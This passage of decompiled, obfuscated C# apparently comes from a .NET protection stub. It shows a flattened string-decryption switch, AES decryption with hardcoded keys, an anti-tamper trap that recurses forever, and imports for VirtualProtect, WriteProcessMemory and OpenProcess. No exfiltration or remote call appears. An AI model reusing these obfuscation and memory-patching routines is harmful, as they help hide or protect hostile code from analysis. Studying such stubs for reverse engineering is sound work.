case 288:
numArray1[6] = (byte) (228 - 76);
num6 = 139;
break;
case 289:
numArray2[12] = (byte) num4;
num5 = 11;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 168;
case 290:
num3 = 84 + 38;
num5 = 246;
if (true)
goto label_342;
else
goto case 32;
case 291:
numArray2[11] = (byte) num4;
num5 = (int) sbyte.MaxValue;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 135;
case 292:
numArray5[9] = numArray4[4];
num6 = 174;
break;
case 293:
numArray1[7] = (byte) num3;
num6 = 237;
break;
case 294:
numArray2[24] = (byte) num4;
num6 = 120;
break;
case 295:
numArray2[22] = (byte) (5 + 11);
num1 = 105;
continue;
case 296:
numArray1[9] = (byte) num3;
num6 = 51;
break;
case 297:
num4 = 163 - 54;
num5 = 40;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 223;
case 298:
num3 = 174 - 58;
num5 = 185;
if (true)
goto label_342;
else
goto case 118;
case 299:
num4 = 115 + 72;
num6 = 113;
break;
case 300:
case 323:
numArray1[11] = (byte) (145 - 48);
num6 = 316;
break;
case 301:
num3 = 208 - 69;
num5 = 296;
goto label_342;
case 302:
numArray1[9] = (byte) num3;
num6 = 301;
break;
case 303:
numArray2[7] = (byte) (102 + 76);
num5 = 177;
goto label_342;
case 305:
num4 = 81 + 82;
num1 = 267;
continue;
case 306:
numArray1[2] = (byte) num3;
num5 = 88;
if (true)
goto label_342;
else
goto case 55;
case 307:
numArray2[12] = (byte) num4;
num6 = 29;
break;
case 308:
numArray5 = numArray1;
num1 = 183;
continue;
case 309:
numArray2[11] = (byte) (120 + 40);
num1 = 276;
continue;
case 310:
numArray1[14] = (byte) (16 + 55);
num6 = 320;
break;
case 311:
num3 = 80 - 16;
num5 = 225;
goto label_342;
case 312:
num3 = 115 + 74;
num6 = 146;
break;
case 313:
tcJNIpeNWph4hwAAuQ.yR4MXxUE0wNxKWF1D2(tcJNIpeNWph4hwAAuQ.nVE2fSvqA5eakI1h2r((object) binaryReader), 0L);
num5 = 327;
goto label_342;
case 314:
numArray2[28] = (byte) num4;
num5 = 137;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 275;
else
goto label_342;
case 315:
if (tcJNIpeNWph4hwAAuQ.GL3ceA32Y.Length == 0)
{
num5 = 126;
goto label_342;
}
else
goto case 128;
case 316:
numArray1[11] = (byte) (116 + 40);
num6 = 141;
break;
case 317:
num4 = 134 + 108;
num6 = 266;
break;
case 318:
numArray2[21] = (byte) (55 + 99);
num5 = 129;
if (true)
goto label_342;
else
goto case 277;
case 319:
numArray2[6] = (byte) (120 + 111);
num1 = 58;
continue;
case 320:
num3 = 49 + 19;
num5 = 130;
if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto label_342;
else
goto case (int) sbyte.MaxValue;
case 321:
num4 = 216 - 72;
num5 = 218;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 224;
case 322:
numArray2[24] = (byte) (236 - 78);
num1 = 178;
continue;
case 324:
numArray2[29] = (byte) (149 - 49);
num5 = 262;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 330;
else
goto label_342;
case 325:
numArray1[1] = (byte) num3;
num5 = 61;
if (true)
goto label_342;
else
goto case 7;
case 326:
numArray2[19] = (byte) num4;
num5 = 203;
if (true)
goto label_342;
else
goto case 269;
case 327:
tcJNIpeNWph4hwAAuQ.vQrJflSAVSoQOWgVke(true);
num1 = 191;
continue;
case 328:
num4 = 140 - 46;
num6 = 199;
break;
case 329:
num4 = 217 - 72;
num5 = 164;
if (true)
goto label_342;
else
goto case 123;
case 330:
numArray2[3] = (byte) num4;
num1 = 212;
continue;
case 331:
numArray2[23] = (byte) (203 - 67);
num1 = 200;
continue;
case 332:
num4 = 183 - 61;
num5 = 216;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 119;
case 333:
numArray2[15] = (byte) num4;
num6 = 317;
break;
case 334:
numArray1[2] = (byte) num3;
num1 = 76;
continue;
case 335:
num4 = 238 - 79;
num5 = 176;
goto label_342;
case 336:
numArray1[4] = (byte) (174 - 58);
num6 = 72;
break;
case 337:
numArray2[10] = (byte) num4;
num5 = 81;
if (true)
goto label_342;
else
goto case 57;
case 338:
numArray2[1] = (byte) num4;
num6 = 114;
break;
case 339:
numArray1[10] = (byte) num3;
num1 = 210;
continue;
case 340:
num3 = 254 - 84;
num6 = 28;
break;
case 341:
numArray2[26] = (byte) num4;
num5 = 268;
goto label_342;
case 342:
num4 = 35 - 27;
num5 = 224;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 37;
case 343:
num4 = 204 - 68;
num5 = 232;
if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto label_342;
else
goto case 263;
case 344:
numArray2[18] = (byte) num4;
num5 = 44;
if (true)
goto label_342;
else
goto case 166;
case 345:
numArray2[14] = (byte) num4;
num1 = 97;
continue;
case 346:
num4 = 62 + 111;
goto case 145;
case 347:
numArray2[14] = (byte) (84 + 53);
num5 = 240;
if (true)
goto label_342;
else
goto case 348;
case 348:
numArray2[27] = (byte) (254 - 84);
num5 = 56;
if (true)
goto label_342;
else
goto case 297;
case 349:
numArray2[14] = (byte) num4;
num6 = 242;
break;
case 350:
numArray1[0] = (byte) (143 - 47);
num5 = 290;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 334;
else
goto label_342;
case 351:
goto label_357;
default:
num5 = 145;
goto label_342;
}
num5 = num6;
label_342:
num1 = num5;
}
label_357:
try
{
return (string) tcJNIpeNWph4hwAAuQ.\u0035IX90sERViywPsesL4(tcJNIpeNWph4hwAAuQ.mD990mTdgWIHpXY4tc(), (object) tcJNIpeNWph4hwAAuQ.GL3ceA32Y, obj0 + 4, num2);
}
catch
{
}
return "";
}
[tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
internal static string reWBsatke([In] string obj0)
{
"{11111-22222-50001-00000}".Trim();
byte[] bytes = Convert.FromBase64String(obj0);
return Encoding.Unicode.GetString(bytes, 0, bytes.Length);
}
[DllImport("kernel32.dll", EntryPoint = "VirtualProtect", SetLastError = true)]
private static extern int \u0039ML9lo6tT([In] ref IntPtr obj0, [In] int obj1, [In] int obj2, [In] ref int obj3);
[MethodImpl(MethodImplOptions.NoInlining)]
private static void fTu8VEKSg()
{
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object HnbvO3JPm([In] object obj0)
{
try
{
return (object) obj0.GetType().GetProperty("Location").GetValue(obj0, new object[0]).ToString();
}
catch
{
return (object) "";
}
}
[DllImport("kernel32", EntryPoint = "LoadLibrary")]
public static extern IntPtr \u0031aAAcYcfl([In] string obj0);
[DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
public static extern IntPtr \u0039igTocIex([In] IntPtr obj0, [In] string obj1);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
private static extern int pnx70C29O(
[In] IntPtr obj0,
[In] IntPtr obj1,
[In, Out] byte[] _param2,
[In] uint obj3,
out IntPtr _param4);
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
private static extern int UM3hfdlP3(
[In] IntPtr obj0,
[In] IntPtr obj1,
[In, Out] byte[] _param2,
[In] uint obj3,
out IntPtr _param4);
[DllImport("kernel32.dll", EntryPoint = "VirtualProtect")]
private static extern int yGrGFt2Ng([In] IntPtr obj0, [In] int obj1, [In] int obj2, [In] ref int obj3);
[DllImport("kernel32.dll", EntryPoint = "OpenProcess")]
private static extern IntPtr \u0034J3iGuO2D([In] uint obj0, [In] int obj1, [In] uint obj2);
[DllImport("kernel32.dll", EntryPoint = "CloseHandle")]
private static extern int YPoCMoGHZ([In] IntPtr obj0);
[tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
private static byte[] oEv1kgedQ([In] string obj0)
{
byte[] buffer;
using (FileStream fileStream = new FileStream(obj0, FileMode.Open, FileAccess.Read, FileShare.Read))
{
int offset = 0;
int length = (int) fileStream.Length;
buffer = new byte[length];
int num;
for (; length > 0; length -= num)
{
num = fileStream.Read(buffer, offset, length);
offset += num;
}
}
return buffer;
}
[tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
private static byte[] \u0033REZxwYE8([In] byte[] obj0)
{
MemoryStream memoryStream = new MemoryStream();
Rijndael rijndael = Rijndael.Create();
rijndael.Key = new byte[32]
{
(byte) 167,
(byte) 184,
(byte) 127,
(byte) 203,
(byte) 135,
(byte) 48,
(byte) 101,
(byte) 197,
(byte) 28,
(byte) 174,
(byte) 125,
(byte) 141,
(byte) 244,
(byte) 51,
(byte) 137,
(byte) 119,
(byte) 144,
(byte) 51,
(byte) 23,
(byte) 165,
(byte) 186,
(byte) 237,
(byte) 166,
(byte) 82,
(byte) 244,
(byte) 244,
(byte) 13,
(byte) 235,
(byte) 143,
(byte) 18,
(byte) 145,
(byte) 125
};
rijndael.IV = new byte[16]
{
(byte) 68,
(byte) 88,
(byte) 11,
(byte) 129,
(byte) 136,
(byte) 226,
(byte) 7,
(byte) 65,
(byte) 2,
(byte) 95,
(byte) 18,
(byte) 189,
(byte) 178,
(byte) 186,
(byte) 66,
(byte) 249
};
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write);
cryptoStream.Write(obj0, 0, obj0.Length);
cryptoStream.Close();
return memoryStream.ToArray();
}
[MethodImpl(MethodImplOptions.NoInlining)]
private byte[] B1Cp1eERm() => (byte[]) null;
[MethodImpl(MethodImplOptions.NoInlining)]
private byte[] bhFIRp8Sr() => (byte[]) null;
[MethodImpl(MethodImplOptions.NoInlining)]
private byte[] DeWUrFjAC() => "{11111-22222-20001-00001}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
private byte[] PMFLr6jcg() => "{11111-22222-20001-00002}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
private byte[] gapYO5dWO() => "{11111-22222-30001-00001}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
private byte[] \u0039fUblSrWA() => "{11111-22222-30001-00002}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
internal byte[] LbvExRxKc() => "{11111-22222-40001-00001}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
internal byte[] liVgja8J0() => "{11111-22222-40001-00002}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
internal byte[] tScwXMrXr() => (byte[]) null;
[MethodImpl(MethodImplOptions.NoInlining)]
internal byte[] jS3acjXDo() => (byte[]) null;
[tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void ce4DmfsmSrOT856tDgfrkMb()
{
if (!(tcJNIpeNWph4hwAAuQ.\u0039kNN8e5d1(Convert.ToBase64String(typeof (tcJNIpeNWph4hwAAuQ).Assembly.GetName().GetPublicKeyToken()), " ") != " "))
return;
while (true)
tcJNIpeNWph4hwAAuQ.ce4DmfsmSrOT856tDgfrkMb();
}
[tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
internal static string \u0039kNN8e5d1([In] string obj0, [In] string obj1)
{
byte[] bytes = Encoding.Unicode.GetBytes(obj0);
byte[] numArray = new byte[32]
{
(byte) 82,
(byte) 102,
(byte) 104,
(byte) 110,
(byte) 32,
(byte) 77,
(byte) 24,
(byte) 34,
(byte) 118,
(byte) 181,
(byte) 51,
(byte) 17,
(byte) 18,
(byte) 51,
(byte) 12,
(byte) 109,
(byte) 10,
(byte) 32,
(byte) 77,
(byte) 24,
(byte) 34,
(byte) 158,
(byte) 161,
(byte) 41,
(byte) 97,
(byte) 28,
(byte) 118,
(byte) 181,
(byte) 5,
(byte) 25,
(byte) 1,
(byte) 88
};
byte[] hash = new MD5CryptoServiceProvider().ComputeHash(Encoding.Unicode.GetBytes(obj1));
MemoryStream memoryStream = new MemoryStream();
Rijndael rijndael = Rijndael.Create();
rijndael.Key = numArray;
rijndael.IV = hash;
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateEncryptor(), CryptoStreamMode.Write);
cryptoStream.Write(bytes, 0, bytes.Length);
cryptoStream.Close();
return Convert.ToBase64String(memoryStream.ToArray());
}
[MethodImpl(MethodImplOptions.NoInlining)]
public tcJNIpeNWph4hwAAuQ()
{
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static Type AcfijO9t4mjClQ6fva([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object UqbOGpq63TyLlUGXJW([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object nVE2fSvqA5eakI1h2r([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void yR4MXxUE0wNxKWF1D2([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void vQrJflSAVSoQOWgVke([In] bool obj0) => RSACryptoServiceProvider.UseMachineKeyStore = obj0;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static long ADhgXga9MB5V1Hqp3w([In] object obj0) => ((Stream) obj0).Length;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object VaIBMZrM3OhKoOEnVs([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object YcrGL4NUCmnjFJYNgC([In] object obj0) => (object) ((Assembly) obj0).GetName();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object YBvqUig9DLUjnWySsQ([In] object obj0) => (object) ((AssemblyName) obj0).GetPublicKeyToken();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void BBLMx5yH9F58Ej6cea([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object iiKPN0bEEIKMuOuMi3([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void d7sHfO4N5DOZeigibM([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void m780xdZcMXPdcdM8wI([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object YclNYYegYZPuMd3xpB([In] object obj0) => (object) ((MemoryStream) obj0).ToArray();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void kV3G5bdMkFMPo7RgZa([In] object obj0) => ((Stream) obj0).Close();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void waXoBs6rVMnfUtwTXQ([In] object obj0) => ((BinaryReader) obj0).Close();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static int DVb3smulRceQ8RTb96([In] object obj0, [In] int obj1) => BitConverter.ToInt32((byte[]) obj0, obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object mD990mTdgWIHpXY4tc() => (object) Encoding.Unicode;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0035IX90sERViywPsesL4([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => (object) ((Encoding) obj0).GetString((byte[]) obj1, obj2, obj3);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool Fytij3VHrfVxpKCDDL() => true;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool oaykchBDbAeGIqjTk1() => false;
internal class BfvlDRFE57x0KNgMOl : Attribute
{
[tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
public BfvlDRFE57x0KNgMOl([In] object obj0)
{
qriSERnLWqCHHxhiWL.mQJJcrKz2UjcR();
// ISSUE: explicit constructor call
base.\u002Ector();
}
internal class \u0035JAHjnIB6CPlXvOV00<T>
{
[MethodImpl(MethodImplOptions.NoInlining)]
public \u0035JAHjnIB6CPlXvOV00()
{
qriSERnLWqCHHxhiWL.mQJJcrKz2UjcR();
// ISSUE: explicit constructor call
base.\u002Ector();
}
}
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
internal delegate uint TIjMQaw2VtqJb1Fdv1(
[MarshalAs(UnmanagedType.U8)] ref ulong _param1,
[In] IntPtr obj1,
[In] IntPtr obj2,
[MarshalAs(UnmanagedType.U4)] uint _param4,
[In] ref IntPtr obj4,
[In] ref uint obj5);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr \u0035OOJkf8pTQg2pEvBmJ();
internal struct T66qj7OdDGA22iJk98
{
internal bool Uj1VGPQhn;
internal byte[] reWBsatke;
}
[Flags]
private enum waEsENTLJ5Ac5n8Lh0
{
}
}
}